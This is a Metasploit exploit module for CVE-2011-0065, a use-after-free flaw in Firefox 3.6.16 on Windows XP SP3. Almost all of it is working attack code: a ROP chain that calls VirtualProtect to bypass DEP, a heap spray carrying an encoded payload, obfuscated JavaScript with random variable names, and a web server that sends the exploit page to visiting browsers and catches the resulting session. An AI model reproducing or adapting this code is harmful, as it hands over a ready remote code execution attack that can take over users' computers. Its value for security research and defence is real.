Mozilla Firefox 3.6.16 mChannel use after free vulnerability

[Gonzalez]

##
# $Id: mozilla_mchannel.rb 13507 2011-08-10 05:58:02Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name => HttpClients::FF,
        :ua_minver => "3.6.16",
        :ua_maxver => "3.6.16",
        :os_name => OperatingSystems::WINDOWS,
        :javascript => true,
        :rank => NormalRanking,
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
            'Description'    => %q{
                    This module exploits an use after free vulnerability in Mozilla
                Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
                OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
                becomes a dangling pointer and can be reused when setting the OBJECTs
                data attribute. (Discovered by regenrecht). This module uses heapspray
                with a minimal ROP chain to bypass DEP on Windows XP SP3
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'regenrecht',  # discovery
                    'Rh0'          # metasploit module
                ],
            'Version'        => "$Revision: 13507 $",
            'References'     =>
                [
                    ['CVE',    '2011-0065'],
                    ['OSVDB',  '72085'],
                    ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
                    ['URL',    'http://www.mozilla.org/security/announce/2010/mfsa2011-13.html']
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space' => 1024,
                },
            'Targets'        =>
                [
                    [
                        'Firefox 3.6.16 on Windows XP SP3',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86,
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'May 10 2011'
            ))
    end

    def on_request_uri(cli, request)
        # Re-generate the payload
        return if ((p = regenerate_payload(cli).encoded) == nil)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

        # Handle the payload
        handler(cli)
    end

    def generate_html(payload)
        # DEP bypass using xul.dll
        custom_stack = [
            0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8
            0x7c801ad4, # VirtualProtect
            0xbeeff00d,
            0xbeeff00d,
            0x1003876B, # jmp esp
            0x0c0c0048, # start address
            0x00000400, # size 1024
            0x00000040, # Page EXECUTE_READ_WRITE
            0x0c0c0c00  # old protection
        ].pack("V*")

        payload_buf  = ''
        payload_buf << custom_stack
        payload_buf << payload
        escaped_payload = Rex::Text.to_unescape(payload_buf)

        #Random JavaScript variable names
        js_element_name      = rand_text_alpha(rand(10) + 5)
        js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
        js_sc_name           = rand_text_alpha(rand(10) + 5)
        js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
        js_chunk_name        = rand_text_alpha(rand(10) + 5)
        js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
        js_block_name        = rand_text_alpha(rand(10) + 5)

        #Reference: adobe_flashplayer_newfunction.rb
        custom_js = <<-JS
        #{js_element_name} = document.getElementById("d");
        #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
        #{js_obj_addr_name} = unescape("\\x0c%u0c0c");

        var #{js_sc_name} = unescape("#{escaped_payload}");
        var #{js_ret_addr_name} = unescape("%u0024%u0c0c");
        while(#{js_ret_addr_name}.length+20+8 < 0x100000) {#{js_ret_addr_name} += #{js_ret_addr_name};}
        var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,(0x48-0x24)/2);
        #{js_chunk_name} += #{js_sc_name};
        #{js_chunk_name} += #{js_ret_addr_name};
        var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
        while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
        var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - (0x1020-0x08)/2);
        array = new Array()
        for (n=0;n<0x1f0;n++){
            array[n] = #{js_block_name} + #{js_sc_name};
        }

        #{js_element_name}.data = "";
        JS

        #Remove the extra tabs
        custom_js = custom_js.gsub(/^\t\t/, '')

        html = <<-HTML
        <html>
        <body>
            <object id="d"><object>
            <script type="text/javascript">
            #{custom_js}
            </script>
        </body>
        </html>
        HTML

        return html
    end

end